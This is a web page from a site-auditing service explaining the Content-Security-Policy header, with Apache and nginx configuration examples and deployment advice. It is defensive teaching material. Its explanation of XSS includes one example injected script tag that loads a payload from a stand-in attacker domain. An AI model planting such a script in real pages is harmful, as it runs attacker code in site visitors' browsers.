Skip to main content
mySites.guru
4+ live

Joomla extension security alerts (28 Aug) ZOO: unauth RCESourcerer 16.0.0Fabrik 4.7.2JCE 2.9.99.10

Generic

Content-Security-Policy

Content-Security-Policy

Content-Security-Policy is a response header that tells the browser which sources of scripts and content it may load, closing off most XSS attacks.

How common is this?

  • 94.9% of the Generic sites we have this data for fail this check. Platform: Generic.

Measured across the sites we audit, on each site's most recent snapshot.

What this check and mySites.guru tool looks at on your site

Content-Security-Policy (CSP) is an HTTP response header. mySites.guru requests a page from your site and reads back whichever headers your server actually sent, then checks whether Content-Security-Policy is present and whether it does anything meaningful. We deliberately request a page your server answers directly, such as a 404, rather than only your homepage, because that’s the case most site owners forget to cover. See checking your website’s security headers with mySites.guru for how this check fits alongside the rest.

How one injected script becomes a working exploit

Every page your browser loads pulls in a pile of other things along with it: stylesheets, fonts, and usually a fair number of scripts. The browser loads these because the page’s own HTML told it to, and it has no way of independently deciding whether any given script tag is legitimate or not. If an attacker finds a way to inject their own <script src="https://nastyhackers.com/payload.js"> into your page, whether through a comment field, a vulnerable plugin, or a stored XSS bug somewhere else entirely, the browser will fetch and run it exactly as happily as it runs your own code.

CSP changes that calculation. The header lets you tell the browser, in advance, which domains are allowed to supply scripts, styles, images, fonts and other content. Anything outside that list gets refused, silently, before it ever executes. An attacker who successfully injects a script tag into your page still gets nothing: the browser won’t run code from a source you never listed, no matter how the injection happened.

That is why CSP is considered one of the most effective defences against cross-site scripting that exists. It doesn’t fix the underlying bug that let the injection happen, but it removes the payoff, which in practice is most of what matters. The trade-off is that building a policy takes real work. Every inline script, every third-party widget, every web font has to be explicitly allowed, and a policy that’s too strict breaks the page rather than merely weakening security. That asymmetry is exactly why so many sites never get round to it.

The shape of a working policy

A well-built policy is restrictive by default and only opens up what the site genuinely needs. A reasonable starting point looks like default-src 'self', meaning nothing loads unless it comes from your own domain, and everything else is layered on as specific, deliberate exceptions: script-src, style-src, img-src, frame-ancestors and so on, each naming only the sources that are actually in use. 'unsafe-inline' for scripts is worth avoiding if you can manage it, since it reopens the exact door CSP exists to close, though it’s a common and reasonable compromise for style-src on sites with a lot of inline styling from themes and page builders.

How to fix it

  1. Work out what your site actually loads, and from where. Open your browser’s developer tools, load a few representative pages, and note every external domain that supplies a script, stylesheet, font or embedded frame.
  2. Start in report-only mode so nothing breaks while you’re still finding out what the policy needs to cover. Add this in your .htaccess file, or the equivalent block in your virtual host, on https://yoursite.com/administrator and your front end alike:
<IfModule mod_headers.c>
    Header always set Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; frame-ancestors 'self'; object-src 'none'; base-uri 'self'"
</IfModule>

On nginx, the equivalent sits in your server block:

add_header Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; frame-ancestors 'self'; object-src 'none'; base-uri 'self'" always;
  1. Browse the site as a real visitor would, checking the browser console for CSP violation warnings. Add each legitimate source to the relevant directive as you find it.
  2. Once nothing legitimate is being blocked, switch Content-Security-Policy-Report-Only to Content-Security-Policy in the directive above. That’s the point where the browser starts actually enforcing it rather than just reporting.
  3. Re-test the site properly after enforcing: contact forms, checkout flows, embedded video, and anything that loads content dynamically after the page has already rendered.

Get this wrong and the site breaks, not just the header

A CSP that’s too strict doesn’t fail safely. It silently blocks the scripts, fonts or embeds it wasn’t told about, so a form stops submitting or a page renders without its styling, with no error the average visitor can explain to you. Always prove the policy in report-only mode first.

frame-ancestors inside a CSP also controls who can embed your site in a frame, which is the modern replacement for X-Frame-Options and worth setting alongside the rest of the policy rather than as an afterthought.

What mySites.guru does about it

This is a configuration decision specific to what your site actually loads, so we don’t offer a one-click fix for it. mySites.guru flags a missing or weak Content-Security-Policy on every snapshot and shows you the exact header your site returned, so you can see precisely what’s missing before you touch your server config. We check this alongside Strict-Transport-Security, X-Frame-Options and X-Content-Type-Options on every connected site, twice a day.

Content-Security-Policy

mySites.guru checks every connected site for this automatically and flags it the moment it appears. These run twice a day on every connected site.

Further Reading

Scott Helme's site remains one of the clearest technical references on browser security headers going.

Frequently Asked Questions

Does a Content-Security-Policy header stop all cross-site scripting?
No. It is a strong last line of defence, not a substitute for escaping output and validating input. A tight policy means that even if an attacker manages to inject a script tag, the browser refuses to run it because the source was never whitelisted, but the underlying injection bug still needs fixing.
Will adding a Content-Security-Policy header break my site?
It can, if the policy is too strict for what the site actually loads. Any inline script, third-party widget, web font or embedded video that isn't covered by the policy will be silently blocked. Always test with Content-Security-Policy-Report-Only first, on a real page, before enforcing anything.
Can a WordPress or Joomla plugin add this header for me?
Some can, but only for requests that PHP actually handles. A policy set that way is missing from any request the webserver answers directly, such as a static file or a 404 page, which is a gap an audit will still catch. Setting it at server level covers every request instead.